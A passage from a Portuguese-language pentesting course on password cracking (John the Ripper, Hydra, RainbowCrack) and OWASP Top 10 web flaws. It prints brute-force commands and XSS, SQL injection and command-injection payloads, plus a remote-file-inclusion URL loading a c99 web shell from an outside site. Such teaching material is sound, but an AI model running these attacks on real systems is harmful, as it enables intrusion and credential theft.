o JtR quais usuário você quer tentar quebrar a senha. Você pode utilizar o nome
de usuário ou o UID dele e pode separar vários usuários utilizando uma vírgula.
Utilizando o -"antes do nome do usuário, você faz com que o John ignore aquele
usuário ou UID.
–groups=[-]GID: Faz com que o John tente quebrar apenas as senhas dos usuários
participantes de um grupo especificado (ou ignorá-los, se você utilizar o -").
–shells=[-]SHELL: Apenas tenta quebrar as senhas dos usuários cujas shells sejam
iguais à que foi especificada por você na linha de comando. Utilizando o -"você ignora
as shells especificadas.
–salts=[-]NUMERO: Deixa você especificar o tamanho das senhas que serão (ou
não) testadas. Aumenta um pouco a performance para quebrar algumas senhas,
porém o tempo total utilizando esta opção acaba sendo o mesmo.
–format=FORMATO: Permite a você definir o algoritmo a ser usado para quebrar

a senha, ignorando a detecção automática do software. Os formatos suportados
atualmente são DES, BSDI, MD5, AFS e LM. Você também pode utilizar esta opção
quando estiver utilizando o comando –test, como já foi explicado anteriormente neste
texto.
–save-memory=1, 2 ou 3: Esta opção define alguns níveis para dizer ao John com
qual nível de otimização ele irá utilizar a memória. Os níveis variam de 1 a 3, sendo
1 a mínima otimização. Esta opção faz com que o JtR não afete muito os outros
programas utilizando muita memória.

12.3.3 Usando o Jhon the Ripper
Para executar o John sobre arquivos de senha de Linux, teremos que passar para ele
as senhas estão utilizando o esquema de shadow no sistema. Para isso, utilizaremos
o executável ”unshadow”, que está presente junto com o John:
1 # ./ unshadow / etc / passwd / etc / shadow > password
Agora podemos executar o John referenciando o nosso arquivo password
1 # ./ john password
Também podemos passar na sintaxe um parâmetro para que o John pegue a lista de
palavras de outro arquivo (por exemplo, as wordlists que geramos anteriormente):
1 # ./ john - wordfile :/ tmp / juniorlist password
O John gera dois arquivos de log: o ”john.pot”e o ”restore”. No primeiro arquivo

estão as senhas já decifradas, para que em uma nova execução ele não comece tudo
do zero. Já o arquivo ”restore” irá conter informações sobre o estado de execução
do John para continuar executando uma sessão interrompida (por exemplo, quando
teclamos ”CTRL+C” durante a execução). Se você quiser retomar a execução do
ponto onde parou, basta executar:
1 # ./ john - restore
Também podemos exibir as senhas já descobertas pelo programa usando a opção

show:
1 # ./ john - show arquivo_passwd
É importante ressaltar que o John The Ripper possui módulos adicionais que não são
compilados durante uma compilação padrão. Esses módulos podem ser encontrados
no próprio site da ferramenta, através do endereço: http://www.openwall.com/john/.
Os módulos adicionais se encontram no final da página inicial. Como exemplo, po-
demos citar o módulo para quebrar senhas de Lotus Domino e MySQL.

12.4 THC-Hydra
O hydra é um dos utilitários que abrangem uma grande quantidade de serviços

que podem ser alvos de brute force, entre eles: TELNET, FTP, Firebird, HTTP-
GET, HTTP-HEAD, HTTPS-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY- NTLM,
HTTP-FORM-GET, HTTP-FORM-POST, HTTPS-FORM-GET, HTTPS-FORM- POS-
TLDAP2, LADP3, SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, POP3 NTLM, IMAP,
IMAP-NTLM, NCP, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-
AUTH, SMTP-AUTH NTLM, SSH2, SNMP, CVS, Cisco AAA, REXEC, SOCKS5, VNC,
POP3 e VMware-Auth. Além disso, o hydra fornece suporte a conexões via proxy. O
xhydra é um utilitário gtk para uso do hydra na interface gráfica.
12.4.1 Usando o HydraGTK
Para baixar o HydraGTK, basta acessar o endereço:
http://freeworld.thc.org/releases/hydra-5.8-src.tar.gz
Após baixar o arquivo, execute os seguintes comandos para descompactá-lo e compilá-

lo:
1 # tar - xzvf hydra -5.8 - src . tar . gz

2 # cd hydra -5.8 - src
3 # ./ configure ; make ; make install
4 # cd hydra - gtk
5 # ./ configure ; make ; make install
O HydraGTK vem instalado por padrão no BackTrack.
12.4.2 Hydra no terminal
Exemplo do hydra sendo usado contra o serviço FTP:

1 # ./ hydra -L / tmp / usuarios -P / tmp / pass -o / tmp / resultado -v

192.168.0.100 ftp
Em ”/tmp/usuarios” temos a userlist de ftp, em ”/tmp/pass” temos a wordlist para os

usuários e em ”/tmp/resultado” o resultado do brute force no serviço.
Vejamos o conteúdo do arquivo de saída do brute force:
1 # cat / tmp / resultado
O THC-Hydra também pode ser usado para realizar ataques contra formulários web.
Para isso, podemos usar a opção http-post-form ou http-get-form, dependendo do

método usado para envio dos dados pelo formulário web.
Vamos analisar o comando seguinte:
1 # hydra -l hydra -P password . lst -s 80 <IP > http - post - form "/
administrador / index . php : usuario =^ USER ^& senha =^ PASS ^& submit = Login :
Incorrect Username "
O parâmetro USER será substituído pelos usuários, no nosso caso, o valor passado
para a opção –l, no nosso caso o valor “hydra”, e o parâmetro PASS será substi-
tuído pelos valores passados na opção –P, no nosso caso, uma wordlist chamada
password.lst.
1 # hydra -l admin -P wl . txt -o resultado . txt 192.168.3.106 http - get -

form "/ bf / bf . php : usuario =^ USER ^& senha =^ PASS ^& submit = Enviar :
incorreta "
12.5 Rainbow Crack
RainbowCrack é um programa que gera rainbow tables para serem usadas na que-
bra de senhas. O RainbowCrack difere dos programas de força bruta convencionais,

pois utiliza tabelas previamente criadas, chamadas rainbow tables, para reduzir dras-
ticamente o tempo necessário para quebrar senhas.
Um ótimo programa para utilizarmos para quebrar senhas Windows com rainbow
tables é o Ophcrack
Para baixar Rainbow Tables:
http://rainbowtables.shmoo.com/
http://www.ethicalhacker.net/content/view/94/24/
12.6 Utilizando o Rainbow Crack para criação de

Rainbow Tables
12.6.1 Introdução
RainbowCrack é uma ferramenta cujo objetivo é quebrar hash de senhas.
O método utilizado pela ferramenta é o brute force. Nesse método, todas as senhas
em texto plano e seus hashs correspondentes são computados um por um. O hash
computado é comparado com o hash alvo. Se um deles for igual, a senha em texto
plano é encontrada. Do contrário, o processo continua até finalizar todas as senhas
possíveis.
No método time-memory, a tarefa de computar hashs é feita através do armaze-

namento dos resultados no que chamamos de "rainbow table". Depois disso, os
hashes podem ser acessados a partir das rainbow tables sempre que necessário. O
processo pré-computacional precisa de muito tempo para criar as chaves que serão
posteriormente utilizadas. No entanto, uma vez que esse processo tenha terminado,
a performance da rainbow tables pode ser de centenas a milhares de vezes maior do
que o método de brute force.

Vamos ver passo a passo como utilizar o software RainbowCrack. Esse software
inclui três ferramentas que devem ser usadas em sequência para fazer a coisa funci-
onar:
Passo 1: usar o rtgen para gerar as rainbow tables.
O programa rtgen precisa de diversos parâmetros para gerar uma rainbow table, e a
sintaxe do comando é:
1 rtgen hash_algorithm charset plaintext_len_min plaintext_len_max

table_index chain_len chain_num part_index
Explicação dos parâmetros:
hash_algorithm O algoritmo dos hashs (lm, ntlm, md5 e assim por diante) usado
na rainbow table.
charset A configuração dos caracteres (charset) do texto plano na rainbow tables.

Todos os charsets possíveis estão definidos no arquivo charset.txt.
plaintext_len_min e plaintext_len_max Estes dois parâmetros definem o tamanho

possível de todo o texto plano na rainbow tables. Se o charset é numérico, o plain-
text_len_min é 1, e o plaintext_len_max é 5, então a string "12345"será incluída na
tabela, mas "123456"não.
table_index, chain_len, chain_num e part_index Estes quatro parâmetros são

mais difíceis de explicar em poucas palavras. Ler e compreender o artigo original
de Philippe Oechslin (criador do RainbowCrack), pode ajudar a entender o signifi-
cado exato. O table_index está relacionado ao "reduce function"que é utilizado na
rainbow table. O chain_len é o tamanho de cada "rainbow chain"na rainbow table.
Uma "rainbow chain"configurada como 16 bytes é a menor unidade em uma rain-
bow table. Uma rainbow tables contém diversas rainbow chains. O chains_num é
o número de rainbow chains em uma rainbow table. O parâmetro part_index deter-
mina como o "start point"em cada rainbow chain é gerado. Deve ser um número (ou
começar com um número).
Os valores corretos de todos os parâmetros dependem do que vocês precisa, e sele-

cionar bons parâmetros requer um bom entendimento do algoritmo de time- memory
tradeoff.

Agora é hora de criar uma rainbow table.
Altere o diretório corrente em seu terminal de comando para o diretório do Rainbow-

Crack, e execute o comando seguinte:
1 # cd / pentest / passwords / rcrack

2 # rtgen md5 loweralpha - numeric 1 7 0 3800 33554432 0
Esse comando leva 4 horas para ser completado em um computador com um pro-
cessador Core2 Duo E7300. É possível parar a execução do mesmo a qualquer
momento pressionando Ctrl+C. Da próxima vez que o comando for executado com a
mesma linha de comando, ele continuará a partir do ponto em que foi interrompido
para continuar com a geração da tabela.
Quando o comando tiver terminado, um arquivo com o nome de "md5_loweralpha-

numeric#1-7_0_3800x33554432_0.rt"e tamanho de 512 MB será criado. O nome do
mesmo é simplesmente a linha de comando utilizada com os parâmetros interligados,
com a extensão "rt". O programa rcrack que será explicado mais a frente, precisa
dessas informações para saber quais os parâmetros existentes na rainbow table.
Portanto, não renomeie o arquivo.
As demais tabelas podem ser geradas da mesma forma, com os comandos:

Agora, o processo de criação da rainbow table está completo.
Passo 2: usar o rtsort para organizar as rainbow tables
As rainbow tables geradas pelo programa rtgen precisam de um pós- processamento

para tornar sua consulta mais fácil e rápida. O programa rtsort é utilizado para orga-
nizar todas as rainbow chains em uma rainbow table.
Utilize os seguintes comandos:

1
2
3 # rtsort md5 \ _loweralpha - numeric #1 -7\ _0 \ _3800x33554432 \ _0 . rt
Cada comando acima, leva cerca de 1 a 2 minutos para completarem sua execução.
O programa rtsort gravará a rainbow table organizada por sobre o arquivo orginal.
Não interrompa a execução do comando, do contrário o arquivo original será danifi-
cado. Agora o processo de organização das rainbow tables está completo.
Passo 3: usar o rcrack para buscar o conteúdo das rainbow

tables
O programa rcrack é utilizado para acessar as rainbow tables. Ele aceita apenas
rainbow tables organizadas.
Assumindo que as rainbow tables organizadas estejam no mesmo diretório do pro-

grama, para quebrar hashes únicos a linha de comando será:
1 # rcrack *. rt -h aqui_vai_o_hash_para_ser_quebrado
O primeiro parâmetro especifica o caminho para buscar nos arquivos das rainbow
tables. Os caracteres "*"e "?"podem ser usados para especificar vários arquivos.
Normalmente isso leva algumas dezenas segundos para finalizar, se a string existir
dentro do "range"do charset e tamanho de strings selecionados. Do contrário, leva-
se muito mais tempo para buscar por todas as tabelas, apenas para não encontrar
nada.
Para quebrar múltiplos hashs, coloque todos os hashs em um arquivo de texto, com
um hash por linha. E então especifique o nome do arquivo na linha de comando do
programa rcrack:

1 # rcrack *. rt -l arquivo_com_lista_de_hashes
Se as rainbow tables que gerou usam o algoritmo lm, o programa rcrack possui um
suporte especial para o parâmetro -f". Um arquivo de dump de hash no formato
pwdump é necessário como input para o programa rcrack. O conteúdo do arquivo
parecerá com o seguinte:
1 Administrator :500:1 c3a2b6d939a1021aad3b435b51404ee :

e24106942bf38bcf57a6a4b29016eff6 :::
2 Guest :501: a296c9e4267e9ba9aad3b435b51404ee :9
d978dda95e5185bbeda9b3ae00f84b4 :::
O arquivo pwdump é a saída de utilitários tais como pwdump2, pwdump3 ou outros.

E contém os hashes tanto lm quant ntlm.
Para quebrar hashes lm em arquivos pwdump, use o seguinte comando:
1 # rcrack *. rt -f arquivo_pwdump
O algoritmo de hash lm converte todas as letras minúsculas em strings maiúscu-

las; como resultado disso, todas as strings quebradas através do hashe lm, nunca
contém letras minúscula, enquanto que a string original poed conter letras minúscu-
las. O programa rcrack tentará corrigir isso em hashes ntlm armazenados no mesmo
arquivo e exibir a string original.
OSSTMM Recomenda
• Ataque automatizado de dicionário a pasta de senhas;
• Ataque de força bruta a pasta de senhas;
• Ataque de força bruta em serviços.
• Obter a pasta de senhas do sistema que guarda nomes de usuário e senha;
• Para sistemas Unix, deverão estar em /etc/passwd e/ou /etc/shadow ;

• Para sistemas Unix que realizam autenticações SMB, pode encontrar as senhas
de NT em /etc/smbpasswd;
• Para sistemas NT, deverão estar em /winn/repair/Sam

13 Vulnerabilidades em aplicações
web
13.1 Entendendo a aplicação web
Aplicações web são programas que ficam em um servidor web e executam tarefas
para dar uma resposta ao usuário. Webmails, web fóruns e blogs são exemplos de
aplicações web.
Uma aplicação web usa uma arquitetura cliente/servidor, normalmente com um na-
vegador web como cliente e o web server como o servidor da aplicação.
O objetivo de tentar explorar uma aplicação web é ganhar acesso a informações

confidenciais. Aplicações web são críticas para a segurança de um sistema porque
usualmente elas estão conectadas com uma base de dados que contém informações
tais como cartões de crédito e senhas.
Exemplos:
• Webmails
• web fóruns
• Blogs
• Lojas virtuais
13.2 Por que é tão perigoso?
O objetivo de tentar explorar uma aplicação web é ganhar acesso a informações

confidenciais.
Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web
Aplicações web são críticas para a segurança de um sistema porque usualmente

elas estão conectadas com uma base de dados que contém informações tais como
cartões de crédito e senhas.
A maior parte dos ataques atualmente, não são realizados contra a infraestrutura
organizacional, mas sim contra aplicações. E se houver falhas em aplicações WEB,
muito possivelmente o atacante conseguirá acesso a todo conteúdo existente no
servidor onde a aplicação está hospedada.
Na maioria das vezes, várias aplicações WEB ficam hospedadas em um mesmo ser-
vidor, compartilhando da mesma máquina física. Se uma, dessas várias aplicações
hospedadas no servidor, tiver falhas graves, que permitam acesso à máquina, to-
das as outras serão comprometidas e o atacante também poderá explorar as demais
máquinas acessíveis na rede.
13.3 Principais Classes de Vulnerabilidades
Baseado no TOP 10 OWASP, que é um ranking das 10 maiores vulnerabilidades

WEB, seguem abaixo as vulnerabilidades mais exploradas em aplicações WEB:
A1 – Cross Site Scripting (XSS) Os furos XSS ocorrem sempre que uma aplica-
ção obtém as informações fornecidas pelo usuário e as envia de volta ao nave-
gador sem realizar validação ou codificação daquele conteúdo. O XSS permite
aos atacantes executarem scripts no navegador da vítima, o qual pode roubar
sessões de usuário, pichar sites Web, introduzir worms, etc.
A2 – Falhas de Injeção As falhas de injeção, em especial SQL Injection, são co-

muns em aplicações Web. A injeção ocorre quando os dados fornecidos pelo
usuário são enviados a um interpretador com parte do comando ou consulta.
A informação maliciosa fornecida pelo atacante engana o interpretador que irá
executar comandos mal intencionados ou manipular informações.
A3 – Execução maliciosa de arquivos Os códigos vulneráveis à inclusão remota

de arquivos (RFI) permite ao atacante incluir código e dados maliciosos, resul-
tando em ataques devastadores, como o comprometimento total do servidor.
Os ataques de execução de arquivos maliciosos afeta PHP, XML e todos os
frameworks que aceitem nomes de arquivo ou arquivos dos usuários.
A4 – Referência Insegura Direta à Objetos Uma referência direta à objeto ocorre

quando um desenvolvedor expõe a referência a um objeto implementado inter-

namente, como é o caso de arquivos, diretórios, registros da base de dados ou

chaves, na forma de uma URL ou parâmetro de formulário. Os atacantes po-
dem manipular estas referências para acessar outros objetos sem autorização.
A5 – Cross Site Request Forgery (CSRF) Um ataque CSRF força o navegador da

vítima, que esteja autenticado em uma aplicação, a enviar uma requisição pré-
autenticada à um servidor Web vulnerável, que por sua vez força o navegador
da vítima a executar uma ação maliciosa em prol do atacante. O CSRF pode
ser tão poderoso quanto a aplicação Web que ele ataca.
A6 – Vazamento de Informações e Tratamento de Erros Inapropriado As aplica-

ções podem divulgar informações sobre suas configurações, processos inter-
nos ou violar a privacidade por meio de uma série de problemas na aplicação,
sem haver qualquer intenção. Os atacantes podem usar esta fragilidade para
roubar informações consideradas sensíveis ou conduzir ataques mais estrutu-
rados.
A7 – Autenticação falha e Gerenciamento de Sessão As credenciais de acesso

e token de sessão não são protegidos apropriadamente com bastante freqüên-
cia. Atacantes comprometem senhas, chaves ou tokens de autenticação de
forma a assumir a identidade de outros usuários.
A8 – Armazenamento Criptográfico Inseguro As aplicações Web raramente utili-

zam funções criptográficas de forma adequada para proteção de informações
e credenciais. Os atacantes se aproveitam de informações mal protegidas para
realizar roubo de identidade e outros crimes, como fraudes de cartões de cré-
dito.
A9 – Comunicações inseguras As aplicações freqüentemente falham em cripto-

grafar tráfego de rede quando se faz necessário proteger comunicações críti-
cas/confidenciais.
A10 – Falha de Restrição de Acesso à URL Frequentemente, uma aplicação pro-

tege suas funcionalidades críticas somente pela supressão de informações
como links ou URLs para usuários não autorizados. Os atacantes podem fazer
uso desta fragilidade para acessar e realizar operações não autorizadas por
meio do acesso direto às URLs.

13.4 A1 – CROSS SITE SCRIPTING (XSS)
O Cross Site Scripting, mais conhecido como XSS, é de fato um subconjunto de in-
serções HTML. XSS é a questão de segurança em aplicações web mais prevalente e
perniciosa. Os furos XSS ocorrem em aplicações quaisquer que receba dados origi-
nados do usuário e o envie ao navegador sem primeiramente validar ou codificando
aquele conteúdo.
O XSS permite atacantes executarem script no navegador da vítima, que pode seqües-
trar sessões de usuários, desfigurar web sites, inserir conteúdo hostil, conduzir ata-
ques de roubo de informações pessoais (phishing) e obter o controle do navegador do
usuário usando um script mal intencionado (malware). O script malicioso é freqüen-
temente em Java Script, mas qualquer linguagem de script suportada pelo navegador
da vítima é um alvo potencial para este ataque.
13.4.1 VULNERABILIDADE
Existem três tipos bem conhecidos de XSS: refletido, armazenado e inserção DOM.
O XSS refletido é o de exploração mais fácil – uma página refletirá o dado fornecido
pelo usuário como retorno direto a ele:
echo $_REQUEST[’userinput’];
O XSS armazenado recebe o dado hostil, o armazena em arquivo, banco de dados

ou outros sistemas de suporte à informação e então, em um estágio avançado mostra
o dado ao usuário, não filtrado. Isto é extremamente perigoso em sistemas como
CMS, blogs ou fóruns, onde uma grande quantidade de usuários acessará entradas
de outros usuários.
Com ataques XSS baseados em DOM, o código Java Script do site e as variáveis
são manipulados ao invés dos elementos HTML.
Alternativamente, os ataques podem ser uma mistura ou uma combinação dos três
tipos. O perigo com o XSS não está no tipo de ataque, mas na sua possibilidade.
Comportamentos não padrão do navegador pode introduzir vetores de ataque sutis.
O XSS é também potencialmente habilitado a partir de quaisquer componentes que
o browser utilize.

Os ataques são freqüentemente implementados em Java Script, que é uma ferra-

menta poderosa de scripting. O uso do Java Script habilita atacante a manipular
qualquer aspecto da página a ser renderizada, incluindo a adição de novos elemen-
tos (como um espaço para login que encaminha credenciais para um site hostil), a
manipulação de qualquer aspecto interno do DOM e a remoção ou modificação de
forma de apresentação da página. O Java Script permite o uso do XmlHttpRequest,
que é tipicamente usado por sites que usam a tecnologia AJAX, mesmo se a vítima
não use o AJAX no seu site.
O uso do XmlHttpRequest permite, em alguns casos, contornar a política do nave-

gador conhecida como "same source origination"– assim, encaminhando dados da
vítima para sites hostis e criar worms complexos e zumbis maliciosos que duram até
o fechamento do navegador. Os ataques AJAX não necessitam ser visíveis ou reque-
rem interação com o usuário para realizar os perigosos ataques cross site request
forgery (CSRF) (vide A-5).
13.4.2 EXPLORANDO
Exemplo de uma vulnerabilidade usando as Query Strings de uma página:
http://dominio.com/default.aspx?parametro=<script>alert(’XSS Vul!’);</script>
Neste exemplo será exibido uma msgbox ao visitante do site, nada de tão terrivel,
mas com isso podemos imaginar que qualquer codigo digitado pode ser executado,
tal como exibir dados da sessão, redirecionar pagina entre outros.
Saiba mais em:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4206
http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

13.5 A2 – FALHAS DE INJEÇÃO
As falhas de Injeção, particularmente injeção SQL, são comuns em aplicações web.

Existem muitos tipos de injeção: SQL, LDAP, XPath, XSLT, HTML, XML, comando de
sistema operacional e muitas outras.
Falhas de Injeção acontecem quando os dados que o usuário dá de entrada são envi-
ados como parte de um comando ou consulta. Os atacantes confundem o interpreta-
dor para o mesmo executar comandos manipulados enviando dados modificados. As
falhas de Injeção habilitam o atacante a criar, ler, atualizar ou apagar arbitrariamente
qualquer dado disponível para a aplicação. No pior cenário, estes furos permitem ao
atacante comprometer completamente a aplicação e os sistemas relacionados, até
pelo contorno de ambientes controlados por firewall.
Caso uma entrada de usuário seja fornecida a um interpretador sem validação ou

codificação, a aplicação é vulnerável. Verifique se a entrada de usuário é fornecida à
queries dinâmicas, como por exemplo:
PHP:
$sql = "SELECT * FROM table WHERE id = ’". $_REQUEST[’id’] . "’";
Java:
String query = "SELECT user_id FROM user_data WHERE user_name = ’"+
req.getParameter("userID") + "’ and user_password = ’"+ req.getParameter("pwd")
+"’";
13.5.2 EXPLORANDO
Primeiro vamos analisar o codigo abaixo:
Select * from usuarios where username = ‘” + username + “‘ and password =

‘” + password “‘;

Como ficaria a chamada no banco de dados se enviássemos no username e pas-

sword o conteúdo: ‘ or ‘1‘=‘1 ?
1 Select * from usuarios where username = ‘‘ or ‘1 ‘= ‘1 ‘ and password =

‘‘ or
2 ‘1 ‘= ‘1 ‘;
Como 1 é sempre igual a 1, teremos uma “verdade” e passaremos pela checagem.
Esse é um tipo de dados que poderíamos passar para aplicativos vulneráveis e burlar
o sistema de autenticação. Faremos isso na prática com o WebGoat.
Saiba mais em:

http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.owasp.org/index.php/SQL_Injection
13.6 A3 – EXECUÇÃO MALICIOSA DE ARQUIVO
As vulnerabilidades de execução de arquivos são encontradas em muitas aplicações.

Os desenvolvedores têm por hábito usar diretamente ou concatenar entradas poten-
cialmente hostis com funções de arquivo ou stream, ou confiar de maneira imprópria
em arquivos de entrada. Em muitas plataformas, frameworks permitem o uso de
referências a objetos externos, como referências a URLs ou a arquivos de sistema.
Quando o dado é insuficiente verificado, isto pode levar a uma inclusão arbitrária
remota que será processado ou invocado um conteúdo hostil pelo servidor web.
Isto permite ao atacante realizar:
• Execução de código remoto.
• Instalação remota de rootkit e comprometimento total do sistema.

• Em Windows, comprometimento interno do sistema pode ser possível a partir

do uso de PHP’s SMB file wrappers.
Este ataque é particularmente prevalecente em PHP e cuidado extremo deve ser

aplicado com qualquer sistema ou função de arquivo para garantir que a entrada
fornecida pelo usuário não influencie os nomes de arquivos.
Uma vulnerabilidade comum construída é:
include $_REQUEST[’filename’];
Isto não somente permite a avaliação de scripts hostis remotos, mas pode ser usado
para acessar arquivos locais do servidor (caso o PHP seja hospedado no Windows)
devido ao suporte SMB nos PHP’s file system wrappers. Outros métodos de ataque
incluem:
• Upload de dados hostis a arquivos de sessões, dados de log e via imagens

(típico de software de fórum).
• Uso de compressão ou streams de áudio, como por exemplo, zlib:// ou ogg://

que não inspecione a flag interna do PHP e então permite o acesso remoto a
recursos, mesmo que allow_url_fopen ou allow_url_include esteja desabilitado.
• Usando PHP wrappers, como por exemplo, php://input e outros para coletar
entrada da requisição de dados POST ao invés de um arquivo.
• Usando o PHP’s data: wrapper, como por exemplo,

data:;base64,PD9waHAgcGhwaW5mbygpOz8+.
Uma vez que essa lista é extensa (e muda com periodicidade), é vital que o uso
de uma arquitetura desenhada apropriado para segurança e design robusto quando
manipulamos entradas fornecidas pelo usuário que influenciem a escolha de nomes
de arquivos e acesso no lado do servidor.
Apesar de fornecidos alguns exemplos em PHP, este ataque é também aplicável

de maneiras diferentes em .NET e J2EE. As aplicações desenvolvidas nestes fra-
meworks necessitam de atenção particular aos mecanismos de segurança de acesso

ao código para garantir que os nomes de arquivos fornecidos ou influenciados pelos

usuários não habilitem que controles de segurança sejam desativados. Por exemplo,
é possível que documentos XML submetidos por um atacante terá um DTD hostil
que force o analisador XML a carregar um DTD remoto e analisar e processar os
resultados. Uma empresa Australiana de segurança demonstrou esta abordagem
para varredura portas para firewalls. Veja [SIF01] nas referências deste artigo para
maiores informações.
O dano causado por essa vulnerabilidade está diretamente associado com os pon-
tos fortes dos controles de isolamento da plataforma no framework. Como o PHP
é raramente isolado e não possui o conceito de caixa de areia "sandbox"ou arqui-
tetura segura, o dano é muito pior do que comparado com outras plataformas com
limitação ou confiança parcial, ou são contidos em uma sandbox confiável como, por
exemplo, quando uma aplicação web é executada sob um JVM com um gerenciador
de segurança apropriado habilitado e configurado (que é raramente o padrão).
13.6.2 EXPLORANDO
Falhas dessa classe ocorrem simplesmente porque o programador não filtrou o con-
teúdo que recebe de um usuário e envia para funções que executam comandos no
sistema, como por exemplo, a função system() ou passthru() do PHP.
Uma vez que um usuário malicioso consegue enviar caracteres de escape (; | > <)
e esses caracteres são enviados para a aplicação vulnerável, o atacante conseguirá
executar os comandos diretamente no servidor.
http://www.hostvuln.com/meuscript.cgi?file=;id;uname%20-a
No exemplo acima, o atacante está executando os comandos id e uname –a no

servidor vulnerável.
13.6.2.1 Shell PHP
Um dos mais famosos shell em php é o C99, criada pelo Captain Crunch Security
Team, mas existem diversas r57, php shell, R9 etc...
A c99 é a mais usada pela sua simplicidade sem muitos conhecimentos de comandos
unix.

Podemos conseguir uma shell baixando um arquivo php com o código da mesma e
hospedando-a em um site. Ou simplesmente buscando na web.
Você pode encontrar uma c99 em http://corz.org/corz/c99.php
A partir de um site vulnerável, podemos chamar a shell que está hospedada em um

site e simplesmente começar a operar dentro do site como se tivêssemos na linha
de comando.
http://www.sitevitima.com/menu.php?page=http://corz.org/corz/c99.php
Saiba mais em:

http://www.owasp.org/index.php/File_System#Includes_and_Remote_files
http://www.owasp.org/index.php/Testing_for_Directory_Traversal
13.7 A4 – REFERÊNCIA INSEGURA DIRETA A

OBJETO
Uma referência direta a um objeto acontece quando um desenvolvedor expõe uma

referência a um objeto de implementação interna, como por exemplo, um arquivo,
diretório, registro na base de dados ou chave, uma URL ou um parâmetro de um for-
mulário. Um atacante pode manipular diretamente referências a objetos para acessar
outros objetos sem autorização, a não ser que exista um mecanismo de controle de
acesso.
Por exemplo, em aplicações de Internet Banking é comum o uso do número da conta

como a chave primária. Conseqüentemente, pode ser tentador usar o número da
conta diretamente na interface web.
Mesmo que os desenvolvedores tenham usado queries SQL parametrizadas para

prevenir inserções de comandos SQL (SQL injection), e caso não exista uma veri-
ficação adicional para garantir que o usuário é o proprietário da conta e que está
autorizado a ver a conta, um atacante pode manipular a partir do parâmetro do nú-
mero da conta e possivelmente pode ver e modificar todas as contas.

Este tipo de ataque aconteceu no site da Australian Taxation Office’s GST Start Up
Assistance em 2000, onde um usuário legítimo, mas hostil, simplesmente modificou
o ABN (identificador da empresa) presente na URL. O usuário se apossou de cerca
de 17.000 registros de empresas cadastrados no sistema, e então enviou para cada
uma das 17.000 empresas detalhes do ataque. Este tipo de vulnerabilidade é muito
comum, porém não testada largamente em muitas aplicações.
Muitas aplicações expõem referências a objetos internos aos usuários. Atacantes

manipulam parâmetros a fim de modificar as referências e violarem a política de
controle de acesso de forma intencionalmente e sem muito esforço. Freqüentemente,
estas referências apontam para arquivos do sistema e banco de dados, mas qualquer
aplicação exposta pode estar vulnerável.
Por exemplo, se o código permite especificação de nomes de arquivos ou caminhos

a partir da entrada do usuário, isto pode permitir que atacantes acessem diretórios
da aplicação que não estão publicados e acessem outros recursos.
<select name="language»<option value="fr»Français</option></select> ...

require_once ($_REQUEST[’language’]."lang.php");
Tal código pode ser atacado usando uma string como “../../../../etc/passwd%00” usando
injeção de um byte nulo (vide OWASP Guide para mais detalhes) para acessar qual-
quer arquivo no sistema de arquivo do servidor web.
Similarmente, referências as chaves de banco de dados são freqüentemente expos-

tas. Um atacante pode atacar estes parâmetros simplesmente chutando ou procu-
rando por outra chave válida.
Geralmente, elas são seqüenciais por natureza. No exemplo a seguir, mesmo que
a aplicação não apresente um link qualquer para um carrinho não autorizado e ne-
nhuma injeção SQL seja possível, um atacante pode ainda modificar o parâmetro
cartID para qualquer outro desejado.
int cartID = Integer.parseInt( request.getParameter( "cartID") ); String query =

"SELECT * FROM table WHERE cartID="+ cartID;

13.7.2 EXPLORANDO
Um exemplo de exploração desta vulnerabilidade é:
http://www.hostvul.com/index.php?file=../../../../../../etc/passwd
Saiba mais em:

http://www.owasp.org/index.php/Testing_for_business_logic
http://www.owasp.org/index.php/Testing_for_Directory_Traversal
http://www.owasp.org/index.php/Category:Access_Control_Vulnerability
13.8 A5 – CROSS SITE REQUEST FORGERY (CSRF)
Cross site request forgery não é um novo ataque, mas é simples e devastador. Um
ataque CSRF força o navegador logado da vítima a enviar uma requisição para uma
aplicação web vulnerável, que realiza a ação desejada em nome da vítima.
Esta vulnerabilidade é extremamente disseminada, uma vez que qualquer aplicação

web:
• Não tenha verificação de autorização para ações vulneráveis
• Execute uma ação caso um login padrão seja enviado na requisição

(ex. http://www.example.com/admin/doSomething.ctl?username=admin&passwd=admin)
• Autorize requisições baseadas somente em credenciais que são automatica-

mente submetidas como, por exemplo, cookie de sessão, caso logada corre-
tamente na aplicação, ou a funcionalidade “Relembrar-me”, se não logado na
aplicação, ou um token Kerberos, se parte de uma Intranet que tenha o logon
integrado com o Active Directory.
Este tipo de aplicação estará em risco. Infelizmente, hoje, a maioria das aplicações
web confia exclusivamente em credenciais submetidas automaticamente, como por

exemplo, cookies de seção, credenciais de autenticação básica, endereço de IP de

origem, certificados SSL ou credenciais de um domínio Windows.
Esta vulnerabilidade é também conhecida por outros diversos nomes incluindo Ses-
sion Riding, Ataques One-Click, Cross Site Reference Forgery, Hostile Linking e Au-
tomation Attack. O acrônimo XSRF é freqüentemente usado. Ambos a OWASP e o
MITRE padronizaram o uso do termo Cross Site Request Forgery e CSRF
Um ataque típico CSRF contra um fórum pode ter a forma de direcionar o usuário
a invocar alguma função, como por exemplo, a página de logout da aplicação. A
seguinte tag em qualquer página web vista pela vítima gerará uma requisição que
encerra sua seção:
<img src="http://www.example.com/logout.php»
Caso um banco permita sua aplicação a processar requisições, como a transferência

de fundos, um ataque similar pode permitir:
<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct
&toAcct=4345754&toSWIFTid=434343&amt=3434.43»
13.8.2 EXPLORANDO
Os parâmetros utilizados e o formato de ataque é muito parecido com o XSS. Inclu-

sive, o tipo de ataque CSRF surgiu a partir do XSS, quando os atacantes perceberam
que a partir da chamada para execução de script com XSS, seria possível estender
para além a capacidade de exploração de seus ataques.
Jeremiah Grossman em sua palestra na BlackHat 2006 “Hacking Intranet Sites from
the outside”, demonstrou ser possível forçar o usuário a modificar seu roteador DSL
sem seu consentimento; mesmo que o usuário não saiba que o roteador possua uma
interface web. Jeremiah usou um nome de conta padrão do roteador para realizar o
ataque.

Todos estes ataques funcionam, pois a credencial de autorização do usuário (tipica-

